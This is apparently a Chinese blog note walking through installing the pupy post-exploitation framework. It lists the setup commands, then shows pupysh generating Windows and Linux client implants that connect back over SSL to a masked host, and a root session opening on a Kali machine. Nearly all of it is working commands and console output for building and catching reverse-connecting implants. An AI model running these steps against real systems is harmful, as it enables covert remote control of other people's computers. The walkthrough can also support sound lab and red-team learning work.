pupy的安装其实并不难,但是网上很多教程写的都稀里糊涂的,很多都过时了,pupy的官方文档也很长时间没更新了,还有docker安装之类的不一样的地方,这里写一篇成功的笔记
顺序执行以下命令安装pupy
apt-get update && apt-get install curl -ycurl -fsSL https://get.docker.com > docker_installer.sh
chmod +x ./docker_installer.sh && ./docker_installer.sh
apt-get -y install git libssl1.0-dev libffi-dev python-dev \
python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
./create-workspace.py pupyws
安装确实需要一点时间,耐心等待,直到这里表示安装成功
[+] Initialize workdir
[+] Create pupysh,pupygen wrappers
[+] Store symlink to pupysh to /root/.local/bin
[-] /root/.local/bin is not in your PATH!
[email protected]:~/pupy#
安装好了以后
[email protected]:~/pupy# export PATH=$PATH:/root/.local/bin
[email protected]:~/pupy# pupysh
就可以开启服务端了,生成client
>> gen -f client -O windows -A x64 connect --host *.*.*.*:8443 -t ssl
[%] Raw user arguments given for generation: ['--host', '*.*.*.*:8443', '-t', 'ssl']
[%] Launcher configuration: Host & port for connection back will be set to *.*.*.*:8443
[%] Launcher configuration: Transport for connection back will be set to 'ssl'
[+] Generate client: windows/x64{ Configuration }
KEY VALUE
-------------------------------------------------
launcher connect
launcher_args --host *.*.*.*:8443 -t ssl
cid 2883972996
[+] Required credentials (found)
+ SSL_BIND_CERT
+ SSL_CA_CERT
+ SSL_CLIENT_CERT
+ SSL_BIND_KEY
+ SSL_CLIENT_KEY
[+] OUTPUT_PATH: /root/pupy/pupyws/output/pupyx64.wFx2di.exe
[+] SCRIPTLETS: []
[+] DEBUG: False
>>
>> gen -f client -O linux -A x64 connect --host *.*.*.*:8443 -t ssl
[%] Raw user arguments given for generation: ['--host', '*.*.*.*:8443', '-t', 'ssl']
[%] Launcher configuration: Host & port for connection back will be set to *.*.*.*:8443
[%] Launcher configuration: Transport for connection back will be set to 'ssl'
[+] Generate client: linux/x64
{ Configuration }
KEY VALUE
-------------------------------------------------
launcher connect
launcher_args --host *.*.*.*:8443 -t ssl
cid 4062193371
[+] Required credentials (found)
+ SSL_BIND_CERT
+ SSL_CA_CERT
+ SSL_CLIENT_CERT
+ SSL_BIND_KEY
+ SSL_CLIENT_KEY
[+] OUTPUT_PATH: /root/pupy/pupyws/output/pupyx64.b0rqcM.lin
[+] SCRIPTLETS: []
[+] DEBUG: False
>> shell
成功上线
[*] Session 1 opened ([email protected]) (*.*.*.*:2441)
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address
----------------------------------------------------------------------------------------------------
1 root kali.kingdom Linux 5.3.0-kali3-amd64 x86_64 64bit High *.*.*.*
>>